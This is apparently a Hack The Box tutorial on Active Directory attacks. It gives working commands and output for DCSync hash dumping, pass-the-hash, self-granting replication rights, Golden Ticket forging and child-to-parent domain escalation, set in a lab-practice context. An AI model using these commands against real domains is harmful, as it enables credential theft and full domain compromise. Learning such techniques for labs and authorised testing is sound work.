DCSync and Golden Ticket: dump the domain and jump to the parent
The DCSync attack step by step with secretsdump: who can run it, how to use the hashes, forging a Golden Ticket with ticketer and escalating from a child domain with ExtraSids.
DCSync is how almost every Active Directory box ends: you ask the domain controller, pretending to be another domain controller, to replicate the passwords of whichever accounts you want. You do not run anything on the DC and you do not touch LSASS; all you need is an account with replication rights. With the krbtgt hash it hands back you can also forge a Golden Ticket and, if there is a parent domain, jump to it.
The bare minimum
- Replication between controllers uses the MS-DRSR protocol. Requesting it takes two rights on the domain object: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All.
- Domain Admins, Enterprise Admins, Administrators and the DC machine accounts have them. On HTB, the interesting case is when a normal account was given them or when you can grant them to yourself through an ACL abuse.
- What you get back are NT hashes, which you do not need to crack: you use them directly with pass-the-hash.
- The krbtgt hash signs every Kerberos ticket in the domain. Whoever has it can mint tickets for any user: that is a Golden Ticket.
Requirements
- Impacket (
secretsdump,ticketer,lookupsid,psexec) and NetExec. - An account with replication rights: password, NT hash or Kerberos ticket.
- Your clock in sync with the DC if you will use Kerberos:
sudo ntpdate 10.10.10.175(orfaketime). - To practise: Sauna and Forest, both easy.
Step 1: who can DCSync
The quick way is BloodHound: look for DCSync, GetChanges and GetChangesAll edges into the domain node, or run the Find Principals with DCSync Rights query.
Without BloodHound, read the domain ACL with Impacket's dacledit:
impacket-dacledit -action read -target-dn 'DC=EGOTISTICAL-BANK,DC=LOCAL' \
-principal svc_loanmgr 'EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23'
[*] ACE[3] info
[*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE
[*] Object type (GUID) : DS-Replication-Get-Changes-All (1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
[*] Trustee (SID) : svc_loanmgr (S-1-5-21-...-1108)
On Sauna the svc_loanmgr service account, whose password sits in the registry's autologon settings, has exactly those two rights.
Step 2: dump the hashes
With that account, ask the DC for the administrator's hash:
impacket-secretsdump 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:[email protected]' \
-just-dc-user Administrator
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NT hash>:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:<AES key>
The NT hash is the fourth field. The options you will use most:
| Option | What for |
|---|---|
-just-dc-user krbtgt |
A single account |
-just-dc-ntlm |
The whole domain, NT hashes only (no Kerberos keys) |
-history |
Each account's previous passwords too |
-user-status |
Flags disabled accounts |
-hashes :<NT> |
Authenticate with a hash instead of a password |
-k -no-pass |
Authenticate with the ticket in KRB5CCNAME |
Tip
From a Windows session, do the same with Mimikatz: lsadump::dcsync /domain:egotistical-bank.local /user:Administrator. That is what Blazorized uses.
Step 3: use the hash
No need to crack it. Check it and log in:
nxc smb 10.10.10.175 -u Administrator -H <NT hash>
impacket-psexec EGOTISTICAL-BANK.LOCAL/[email protected] -hashes :<NT hash>
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\Administrator:<hash> (Pwn3d!)
(Pwn3d!) means you are local admin on that host. If the antivirus blocks psexec, use wmiexec or Evil-WinRM (evil-winrm -i 10.10.10.175 -u Administrator -H <hash>).
When you lack the right but can grant it
That is Forest: your user is in Account Operators, so you can create a user and add it to the Exchange Windows Permissions group, which has WriteDacl on the domain. With WriteDacl you grant yourself the replication rights:
impacket-dacledit -action write -rights DCSync -principal pwn \
-target-dn 'DC=HTB,DC=LOCAL' 'HTB.LOCAL/pwn:Password123!'
impacket-secretsdump 'HTB.LOCAL/pwn:[email protected]' -just-dc-user Administrator
Groups such as Account Operators are covered in privileged Windows groups.
Step 4: Golden Ticket
The krbtgt hash gives you persistence: even if the administrator's password changes, you can mint a valid ticket for them. You need the krbtgt hash (or better, its AES key), the domain SID and the domain name.
impacket-secretsdump 'HTB.LOCAL/[email protected]' -hashes :<NT hash> -just-dc-user krbtgt
impacket-lookupsid 'HTB.LOCAL/[email protected]' -hashes :<NT hash> 0
[*] Domain SID is: S-1-5-21-3072663084-364016917-1341370565
Forge the ticket and use it:
impacket-ticketer -aesKey <krbtgt AES key> -domain-sid S-1-5-21-3072663084-364016917-1341370565 \
-domain htb.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass htb.local/[email protected]
ticketer writes the ticket to Administrator.ccache. -nthash instead of -aesKey works too, but an RC4 ticket is easier to spot in a real engagement.
Warning
With Kerberos you must use the host name (forest.htb.local), not the IP, and that name must resolve: add it to /etc/hosts. And forge the ticket for a user that exists: patched DCs reject tickets for made-up users.
Step 5: from a child domain to the parent
An AD forest can hold several domains linked by trusts. Enumerate them:
nltest /domain_trusts
Get-ADTrust -Filter * | Select Name,Direction,TrustType
Or with NetExec from Linux: nxc ldap 10.10.10.10 -u user -p password -M enum_trusts.
If you are Domain Admin of a child domain (child.corp.local), you can become admin of the parent (corp.local). The trick is the ticket's ExtraSids field: you forge a child Golden Ticket that says you are also in the parent's Enterprise Admins (its SID ending in -519). Within the same forest, the parent believes it.
impacket-ticketer -nthash <child krbtgt> -domain-sid <child SID> -domain child.corp.local \
-extra-sid <parent SID>-519 Administrator
Impacket automates all of it with raiseChild:
impacket-raiseChild child.corp.local/Administrator -hashes :<NT hash>
On Ghost the jump uses the trust key (the GHOST$ account) instead of krbtgt; on DarkZero the other domain is in another forest and the path goes through Kerberos delegation.
Note
Across different forests, SID filtering drops privileged SIDs from ExtraSids. That is why the -519 trick works from child to parent but not into a trusted forest.
Common mistakes
KRB_AP_ERR_SKEW(Clock skew too great): your clock does not match the DC's. Runsudo ntpdate <DC IP>and try again.ERROR_DS_DRA_BAD_DNorrpc_s_access_deniedfromsecretsdump: the account lacks replication rights or the domain name is misspelt. Go back to Step 1.KDC_ERR_TGT_REVOKEDwith a Golden Ticket: the user does not exist in the domain. Forge it for a real user such asAdministrator.KDC_ERR_S_PRINCIPAL_UNKNOWNwith-k: you are using the IP instead of the name, or the name is not in/etc/hosts.- The hash works on SMB but not WinRM: the user is not in Remote Management Users. Use
psexecorwmiexec.
What next
Save the full BloodHound path as evidence for the report (pentest report). These steps are at the end of the Active Directory checklist, and there are more boxes in the best HTB machines for Active Directory.